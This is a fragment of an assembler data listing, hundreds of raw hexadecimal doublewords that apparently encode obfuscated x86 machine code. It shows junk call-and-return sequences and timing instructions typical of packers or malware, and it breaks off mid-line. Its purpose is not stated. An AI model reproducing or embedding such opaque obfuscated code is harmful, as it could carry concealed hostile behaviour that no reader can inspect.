0BA09351Eh dd 6, 0DC58589h, 0C18B0935h, 0A658589h, 0E8C10935h, 59953104h dd 8B093503h, 0E2F766FBh, 12A6BF66h, 8BFCC82Bh, 0CE9D1h dd 0FECD0000h, 764C57C3h, 0C3DC8AE9h, 64E9FD6Dh, 80000000h dd 0BD2371CBh, 9352BCDh, 1858Bh, 81B30000h, 8B07C083h dd 0C083DFh, 0FD03BF9h, 1083h, 99BD0100h, 0E9093508h, 37h dd 59CF8166h, 0FF8D8BFBh, 89FFFFFFh, 352E4195h, 1E18309h dd 1D840Fh, 0B70F0000h, 0FFA583D9h, 0FEFFFFFFh, 4ED9D89h dd 95890935h, 1, 0E9DE8Bh, 8D000000h, 394CD4B5h, 56006A09h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 290B61ECh, 4C4EA8C3h, 6A006A3Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EFC4C357h dd 9ABCF87Ah, 0FD07BB66h, 82995FFh, 6A0935h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 33B187C3h dd 58D444B8h, 0E9558F08h, 0Ch, 4416DAE8h, 416CE41Ah, 0A5BF7397h dd 1655BD29h, 8AB90935h, 6A00000Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4CADC352h dd 0E183D7A4h, 0DABF0FFCh, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 5B50162h, 0B8093530h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8AC35141h dd 4634100Ch, 0E8FC95B3h, 0BA19h, 0DE90000h, 0DC000000h dd 0D76E6199h, 9337349Fh, 742A2AC8h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0BFD8BF0Fh, 30A70387h, 5870Fh, 81660000h dd 0D8F1FDFh, 88h, 2E99BD8Bh, 8BF90935h, 35162995h, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 1DC5C9F6h, 8B3F7520h, 35287D8Dh, 0FD3BF09h, 8B5003AAh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F7C35343h, 895F6BBCh dd 352F3DBDh, 31BD8B09h, 8309351Ch, 351249BDh, 840F0009h dd 4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 42C35141h, 0B8h, 148D0F00h, 0F000000h, 0E81h, 9E900h dd 1F410000h, 73B59DA1h, 8D45A5D5h, 354C028Dh, 118D8909h dd 0FF09352Dh, 0D4BB66E1h, 55BD830Ah, 93522h, 441840Fh dd 0BD890000h, 93521A9h, 2255BD83h, 0F010935h, 44984h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 7B58BD27h, 1AFB118Dh, 89958951h, 83093507h dd 352255BDh, 860F0309h, 3DCh, 10E9h, 3C00D00h, 5394F2Bh dd 0F5DE7BF3h, 21E0CFDEh, 6A60CEh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 2B5352C3h, 352D4DBDh dd 20BF5F09h, 6073C070h, 8B551F9h, 8C66615Ah, 958D31D9h dd 80093528h, 0BD8B04E1h, 9351AE9h, 4A5BD8Bh, 0C90A0935h dd 183840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8E0F13C3h, 5, 0CFA94BBFh, 1DB58928h dd 8B093526h, 352B6185h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 42176140h, 0ED86A146h dd 85338153h, 9350D7Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 95C35242h, 0DE890h, 0A2150000h, 68B674A7h dd 0FF735770h, 6013ACDDh, 0BE66CF8Bh, 5F612122h, 0C5BF6650h dd 666090D9h, 9C12AB9h, 3528E98Dh, 6A6109h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 63C35343h, 980E95D5h dd 66B1408Dh, 0E8BA76BFh, 4, 1F03FFh, 0D88B6650h, 424448Bh dd 0A8F0Fh, 52500000h, 310F6160h, 585ADE8Bh, 8B66008Bh dd 244489DEh, 0CE804h, 0A940000h, 2317184Ah, 320497BCh dd 0FDBBB18Bh, 5F60C4DFh, 0D7EDBF58h, 95FF1AD8h, 9350CDDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8AC35343h dd 0AE6F4F31h, 9D89868Ch, 9352D05h, 89DF8B66h, 38B76F85h dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 91A7B6Fh, 350E7595h, 19FE909h, 830F0000h dd 5, 2BEF8166h, 67858BC0h, 0F0938B7h, 683h, 0DBD8B00h dd 0C7093523h, 1800h, 6E86000h, 2B000000h, 0B7ECC875h dd 5F5B53A8h, 0E9816660h, 6161E593h, 0B76BB58Bh, 6A0938h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 51D9A5C3h, 68D0FB0h, 8B000000h, 350185BDh, 8BD98A09h dd 3524D585h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0F0A7AE98h, 890F8FAEh, 20h, 12E860h dd 0D3B70000h, 5D3EC5E0h, 6BCE4004h, 9383E911h, 444C4DF4h dd 0CDB5015Eh, 61093527h, 0BD8B0689h, 9350E65h, 2B61858Bh dd 46890935h, 0B9BD8B04h, 5009351Dh, 8B665250h, 0E8310FDEh dd 13h, 0BE23F9FBh, 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 0BFD5383Ch dd 5A2F419Dh, 89585A5Fh, 0DE92434h, 8E000000h, 0B99AAACBh dd 0A68D4E4Bh, 0B7BCC31Dh, 0B767B5FFh, 6A0938h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B868DEC3h, 0FDD7404h, 380h, 0FE8B6600h, 47240481h dd 6A22AAFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 4A58C352h, 0E8750DCEh, 5, 0DB26B1F0h dd 28F0F24h, 60000000h, 858D5B61h, 938B76Fh, 50FBB70Fh dd 6E953h, 9D000000h, 10B9D15Eh, 2404895Bh, 95FFDD8Ah dd 9350CDDh, 3DC38166h, 0DB8161ADh, 497A36A4h, 225585C7h dd 30935h, 89FC0000h, 35286595h, 6FBD8309h, 938B7h, 3A840Fh dd 50E90000h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0A101C350h, 3319A06Fh dd 0D918D29h, 60570935h, 0B655BE66h, 0EED8D0Bh, 5B610935h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0B6A6C353h, 0E971D8FAh, 0Bh, 5DADA8F8h, 0ECA2B831h dd 6A7F8D51h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 31A3C356h, 89DAFD86h, 0B19D8BB9h dd 8309350Ch, 352255BDh, 850F0309h, 3CAh, 228D9D8Bh, 0BD830935h dd 938B76Fh, 0B7840F00h, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5B9FC352h dd 0FF62D5DEh, 38B76FB5h, 0FBBF6609h, 1195FFD1h, 6A09352Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0F5DDC351h, 9B9D971Bh, 53BF662Dh, 63B58B7Fh dd 530938B7h, 33059D89h, 0C75F0935h, 1000106h, 58E0F00h dd 66000000h, 8A82C781h, 0D820F50h, 50000000h, 7628BF52h dd 310F3AD7h, 585A6160h, 0E9243489h, 13h, 63B1D760h, 0E763490Fh dd 0F9417674h, 4254A8B9h, 0FF08AD55h, 38B76FB5h, 95FFFC09h dd 9350289h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 47C35747h, 692041FFh, 0B763B58Bh, 6A0938h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 50ED53C3h, 68D0Fh, 8D0F0000h, 0 a1n1 db '[1█1',0 db 35h, 9, 8Bh dd 350E9985h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 83F32DE0h, 4893B75Dh, 0EE9F81Bh dd 44000000h, 0C1DEAF17h, 0A3735BA2h, 0E71FD7EEh, 0C4868930h dd 8B000000h, 352B29BDh, 8B06B709h, 35162995h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 95AAEC2Dh, 0C0DEF6Dh, 0F08B6060h, 2A1C2ABAh, 8953613Fh dd 350519BDh, 83615809h, 0BF0F04C2h, 205089D8h, 226D9D89h dd 858D0935h, 938CC07h, 81858950h, 5F09350Dh, 0B88689h dd 0DF8B0000h, 0F71BD09h, 6A0935h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0ECC35343h, 6FB5FF52h, 0B30938B7h dd 5195FFE7h, 60093511h, 6840Fh, 0B58B0000h, 935006Dh dd 0B49B58Bh, 96610935h, 13E9h, 0A34AB700h, 6C209B7h, 3FD52D9Ah dd 8C7CB299h, 0B3B9F20Ch, 0A7BB6650h, 6A96B3h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 9E0345C3h, 8BA20F56h, 351B55BDh, 6FB5FF09h, 6A0938B7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0A327C356h, 574D4182h, 89F607A6h, 35321DB5h dd 5595FF09h, 5209350Bh, 2D85895Bh, 8309352Ch, 350079BDh dd 840F0009h, 57h, 0B8B0Fh, 6E90000h, 0D3000000h, 0B7A77BBAh dd 0BF6696FDh, 8B505B2Fh, 6A96FBh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 48E8C5C3h, 5AF950D6h dd 0EE8EF9Eh, 46000000h, 6C1F562Eh, 2500D9F2h, 529341D0h dd 0E78166E4h, 0FF5B72D8h, 38B76FB5h, 0DBBF0F09h, 1C3595FFh dd 0FFF90935h, 38B76FB5h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D5BC4BBh dd 0BD0B5340h, 9352CB1h, 0E595FF5Fh, 6A09352Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 83F6C353h, 3526BDBDh, 840F0209h, 59h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 0E5C35141h, 0F5DE8FABh dd 0D198589h, 858B0935h, 93526ADh, 0C6D8BF0Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 890F75C3h, 5, 0ACF38166h, 6585C71Ah, 93532h, 0F000000h dd 3E9FFBFh, 8BFFFFF4h, 3522BDBDh, 95858909h, 8B09351Bh dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 6E90168h, 7D000000h, 424F6EA9h, 858DF5CEh dd 9352659h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 98C35242h, 44CCDB8Eh, 1FA91E8h, 352201BDh, 52509009h dd 0AE857h, 53440000h, 72FDAE0Eh, 0F0FF30B1h, 310F5B5Bh dd 585A5B51h, 90FA8B50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 84C35343h, 0CB17F026h, 75ADB00Dh, 9D29509Ah dd 9351F49h, 81006A5Fh, 7F5E1EF3h, 0A3F7810Eh, 6A0EC968h dd 0B5016000h, 9353005h, 6156F580h, 0E3CB858Dh, 0C0830939h dd 15858905h, 50093506h, 0ACBC28BBh, 24048955h, 326DBD8Bh dd 6A0935h, 1C259D89h, 6A0935h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 54C35545h, 0C3420220h, 23599D8Bh dd 95FF0935h, 9350331h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 76C35343h, 0BDBD03E8h, 66093521h, 174EEF81h dd 6E9h, 471F7700h, 8DC0FA0Eh, 389AAB8Dh, 98DB8109h, 0FF048A00h dd 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 53C07292h, 31DD8529h, 525B0935h, 2D1D9D8Bh dd 835F0935h, 351C19BDh, 850F0109h, 0A5h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 19C35242h, 8B6E6DDAh dd 2B56956Dh, 351E01BDh, 0F5026A09h, 50F98B90h, 5E8h, 72370D00h dd 52507EF3h, 310F5250h, 310F585Ah, 0BE9h, 9638A700h, 163B9318h dd 0ACA4D37Bh, 905F585Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 25C35040h, 0ACF9DA0Dh, 0CE8EFh, 0FB5E0000h dd 0C4EF6E09h, 0FB28A1Fh, 0FE978CEh, 0CE000000h, 0CC3E52FDh dd 0BABC1859h, 3F8488EEh, 0FF5F173Eh, 35115195h, 0F69E909h dd 0E80000h, 5D000000h, 0E3D5ED81h, 6A0939h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A4461FC3h dd 1CBB2971h, 5150194Eh, 25799D8Bh, 6A5F0935h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0D700C351h, 0C1F64651h, 858D150Ah, 938932Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E9C35343h, 0F8F8C69Ah dd 66905090h, 641826BFh, 35FFh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0A705F5C3h dd 646CB751h, 2589h, 0B3600000h, 5BD8B0Ch, 6109352Dh, 300985FFh dd 0FE80935h, 82000000h, 2A04CF22h, 0DEB9E70Eh, 3FD8D82Bh dd 0BE96A22h, 0A9000000h, 0A9942C31h, 0E4570B97h, 6A5B620Bh dd 0FFEBB3FFh, 351239B5h, 56006A09h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0B7CEEE68h dd 0B995FF11h, 0E909352Eh, 12Bh, 6E9h, 0CE3BAB00h, 0B04D3DECh dd 94F38000h, 23A98589h, 70E60935h, 4296BF66h, 0BD2B71E4h dd 9352EE1h, 830F613Ch, 0FFh, 0BE8h, 9C05300h, 518CAFF5h dd 4029A2Dh, 0F5FDDB7h, 0BF66C8B6h, 0B9B3591Dh, 6BAh, 0BE900h dd 0DE110000h, 0B8A9DF33h, 82F820EAh, 0E9C18B78h, 11h dd 520AEC8Dh, 93461415h, 0AEFD4A9h, 995D45D3h, 4E8C100h dd 0F766DE8Ah, 0F6EB81E2h, 2B571851h, 0EB81FCC8h, 5617B3BCh dd 830FD18Bh, 6, 507EEB81h, 8956357Ch, 3524CDBDh, 84E95F09h dd 81000000h, 0B30A4ED3h, 4858B58h, 83000000h, 0FA8B07C0h dd 6600C083h, 0E499DB81h, 830FD03Bh, 0Bh, 0E9F8B70Fh, 5Bh dd 8BFAB70Fh, 0FFFFFF8Dh, 0BE9FFh, 0FF380000h, 0D3D2C08h dd 2AA296E2h, 1E183BCh, 39840Fh, 8F0F0000h, 4, 6412BF66h dd 0FFFFA583h, 89FEFFFFh, 3505E585h, 4958909h, 89000000h dd 35295195h, 0CE909h, 99100000h, 0A91CAABDh, 95FA85CFh dd 0E9BC3Dh, 8D000000h, 395C5EB5h, 53006A09h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0CDD92991h dd 17B58D89h, 6A0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0CDC35646h, 0FFFC786Ch, 35082995h, 0F7816609h dd 0A4B96DA0h, 6A00000Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0CBDEC351h, 9D9E585Ah dd 48D8529h, 0E1830935h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 29563D81h, 35060D95h dd 8BFC5F09h, 3526C1BDh, 0B809h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0DDDD36C3h, 0AB5278B2h, 14E8F982h, 0F6000000h, 0B39CF318h dd 0C082F08Bh, 0B7341FAEh, 196BF660h, 8BECAB64h, 3510B9BDh dd 0D22B5F09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 35C35646h, 2DBD9D8Bh, 33AD0935h, 3E8D1C2h, 4E983D0h dd 0BD03F475h, 93522CDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0D0C35747h, 0CE969h, 2D110000h, 0A5FB6A5Ah dd 0F129392Bh, 880DD0E6h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5B82C356h dd 8E96C93h, 5C000000h, 4F2AA7B8h, 8BD9B8CEh, 35162995h dd 59D8B09h, 8B09351Ch, 35287D8Dh, 0C28B5009h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BF57C352h dd 399D8B39h, 6609352Dh, 2455EF81h, 27798531h, 0BD830935h dd 9351249h, 7E840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B50CC356h dd 0B96660h, 0BD03608Dh, 9350D35h, 800Fh, 61610000h, 0B8h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 1324D99Eh, 28D8D71h, 0E909354Ch, 0Dh, 1E7039F0h dd 5D681917h, 0E254889Eh, 0E8E1FF97h, 8, 4F9B87E3h, 5B4148A9h dd 55BD835Bh, 93522h, 514840Fh, 9D290000h, 93525EDh, 8A585660h dd 0BD8361D7h, 9352255h, 16840F01h, 6A000005h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 89D0C351h, 97871FB7h, 0FE9h, 0E1987200h, 71A91689h dd 0AAF980B4h, 0BD436BF0h, 2255BD83h, 0F030935h, 49E86h dd 8D295200h, 9350875h, 6A605Fh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 319BC1C3h, 0D98C668Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A1C35343h dd 0E180628Eh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0DD9D33ECh, 66093521h dd 3002EF81h, 840FC90Ah, 1D1h, 0D32084BFh, 61858B0Dh, 8B09352Bh dd 351B69BDh, 7D853309h, 8009350Dh, 0B390F5EFh, 0AE8505Ch dd 0D000000h, 0A2E123EAh, 0C7EF673Bh, 5FD98B8Ch, 0AE890h dd 0F0310000h, 54FC81C8h, 4108FA86h, 22D98D89h, 6A5B0935h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 419F8AEAh, 954F37C0h, 4E830h, 3FF0000h dd 0E960001Fh, 12h, 3BD170F2h, 27FFBD8Ch, 863CE51Ah, 5DCF7112h dd 0E860112Bh, 8, 41F79C57h, 0FAB024E8h, 615E5658h, 0DE95061h dd 0B9000000h, 9DEB8C09h, 0C2C7E587h, 6FB8D4E4h, 424448Bh dd 7E9h, 39DC6800h, 6A52B1C4h, 0E950008Bh, 13h, 2BFE659Fh dd 40DE0CB8h, 530F0D18h, 0C145FF2Bh, 5B111BFFh, 4244489h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0FBD541BAh, 9D31081Eh, 9350B01h, 0CDD95FFh dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0ED8D9FC3h, 0C55174C8h, 6053E7D5h, 10E98D8Bh dd 0DE90935h, 60000000h, 586CAD71h, 0CE4D0EB0h, 0F54E830Eh dd 85895B61h, 938B76Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 3EC35545h, 67BF6607h, 0E95F57D3h, 240h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 37C35343h dd 45F6E2ADh, 0C502B502h, 6840Fh, 0BD8B0000h, 935226Dh dd 27959589h, 0E9560935h, 14h, 0C295F1B6h, 4AFBE19Ah, 1B0E560Fh dd 24481636h, 7A31AF90h, 67858B5Fh, 6A0938B7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 2903C353h, 0BF9A33ABh, 27A6202Eh, 0C7FFBF0Fh, 1800h dd 3890F00h, 66000000h, 0B58BF98Bh, 938B76Bh, 10458D29h dd 858B0935h, 93524D5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 78C35040h, 81666EC6h, 89768CE7h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 71B77B2Ah, 259D9D8Bh, 858B0935h, 9352B61h, 86CB8166h dd 13EF8165h, 89100BF4h, 8D890446h, 9352F25h, 1D81BF96h dd 0BF505FB5h, 525FBC16h, 0F9850996h, 0FF093527h, 38B767B5h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 1B3EDB50h, 0F5BA846h, 9D01DEB7h, 9351169h dd 2AC9F968h, 0A8CEBF90h, 4814E3Ch, 0F43A0624h, 52006A6Fh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0B4FE0463h, 892A6C97h, 350D3DB5h, 6F858D09h, 6A0938B7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 1B16C350h, 8E0801FEh, 2A34CB81h, 0BF0F2C60h dd 0CE950F8h, 82000000h, 0AE520D2Dh, 0B4A38119h, 895736BAh dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0C36D21C3h, 891FE24Ch, 352C51B5h, 0F98B6609h dd 0CDD95FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 3886B2C3h, 0E8F56EEFh, 0Bh, 0B158E376h dd 7877B49Eh, 891D00A1h, 352E4585h, 60605F09h, 80D38B66h dd 516175C4h, 6C99D89h, 615F0935h, 0C19D8961h, 0F093523h dd 0C81h, 7E900h, 1EC0000h, 0FD8765EEh, 5585C791h, 3093522h dd 8B000000h, 350AC19Dh, 6FBD8309h, 938B7h, 2D840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 27E9B5C3h, 89000000h, 35048DBDh, 0A1B58909h, 50093517h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 0BF0FC08Bh, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 7684D123h, 0B59D31D1h dd 29093524h, 3511C5B5h, 55BD8309h, 3093522h, 4C0850Fh dd 8F0F0000h, 6, 21F59D8Bh, 0BD830935h, 938B76Fh, 0A7840F00h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8B90C350h, 351F999Dh, 6FB5FF09h dd 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 631FC355h, 1195FFF5h, 6A09352Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 8981C350h, 0DE8h, 0F8523F00h, 0F7460024h dd 8F13BA3Bh, 8501E1B6h, 93523C9h, 138A0F5Fh, 0E9000000h dd 0Eh, 0C8778480h, 71C17F1Eh, 2B0EA65Ch, 0B58BB428h dd 938B763h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0ECC35141h, 21B27C78h, 7DBD01E8h, 0C7093504h, 1000106h dd 0D58D2900h, 6609352Dh, 6650D98Bh, 890AE0BFh, 0DE92434h dd 7C000000h, 32BEF332h, 0D22C47EDh, 0E321CF85h, 0B76FB5FFh dd 6A0938h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 83DD74C3h, 0CC8354E7h, 95FFDF8Bh, 9350289h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E9C35747h dd 8B95878Dh, 38B763B5h, 3EB35609h, 99858B5Bh, 6A09350Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0AEF5C356h, 0A59D033Ah, 89093510h, 0C486h dd 8DB58900h, 8B093516h, 29958BFEh, 1093516h, 351655B5h dd 0A1BD8B09h, 8309352Dh, 6A04C2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 7A31AFC3h, 69C073AAh dd 5089DC8Ah, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 5A02C8DBh, 8BEF3989h, 351069BDh dd 7858D09h, 890938CCh, 35035DB5h, 0FB8B6609h, 0B88689h dd 0BD0B0000h, 9352CC9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 1E80E3C3h, 9D893327h dd 9352C51h, 0B76FB5FFh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0FB583DC3h, 311238B3h dd 3523B585h, 1EE78109h, 8B0E1E08h, 5195FFD8h, 6A093511h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0C67EC355h, 51686D84h, 816652D1h, 5B8A7FE7h dd 0F4BF6696h, 7E850A6h, 13000000h, 7FB3D0C7h, 820F1E4Ch dd 3, 5FFE8B66h, 0E9BD8B96h, 0FF09351Ah, 38B76FB5h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0CFF529C5h, 979CF791h, 0BD014BE4h, 9350B81h, 0B5595FFh dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 6833E1C3h, 0C3A563E7h, 0BD83A3C4h, 9350079h dd 4D840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 5920C352h, 990DAA14h dd 0A7364A90h, 665050F5h, 895BDE8Bh, 6A2434h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 204F1CC3h dd 0B76FB5FFh, 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0BDDFE7C3h, 8166D3C0h, 0FFA954EFh dd 351C3595h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 54A1049Ch, 89C710D5h, 3529C98Dh dd 0FFFE8B09h, 38B76FB5h, 0E595FF09h, 6A09352Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 91F7C356h, 0DC83E48Fh, 258D89CAh, 66093512h, 0BAAFDF81h dd 26BDBD83h, 0F020935h, 7184h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 858B01BCh dd 93526ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0F6C35242h, 0DE6040Bh, 6A0000C6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0D620C350h dd 2B7811B8h, 81F64562h, 738861EBh, 85C7F831h, 9353265h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 2FC35040h dd 0BFAA1367h, 3386F84Eh, 0D8E966B7h, 6AFFFFF1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 2668C357h, 8BDA8B9Ch, 50006AC1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 4E3B2BEFh, 0F60E73Dh dd 9D8BC9BFh, 9350A81h, 85BD8961h, 8D093527h, 35265985h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0F3367ED4h, 0A5BD8962h, 8B09352Fh, 351C1DBDh dd 0F605009h, 84h, 4896100h, 0DF8B6624h, 11E9006Ah, 0F6000000h dd 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h, 8D01006Ah dd 9351161h, 0F529858Dh, 0B70F0939h, 5C083FFh, 0E852006Ah dd 3, 5AC35A20h, 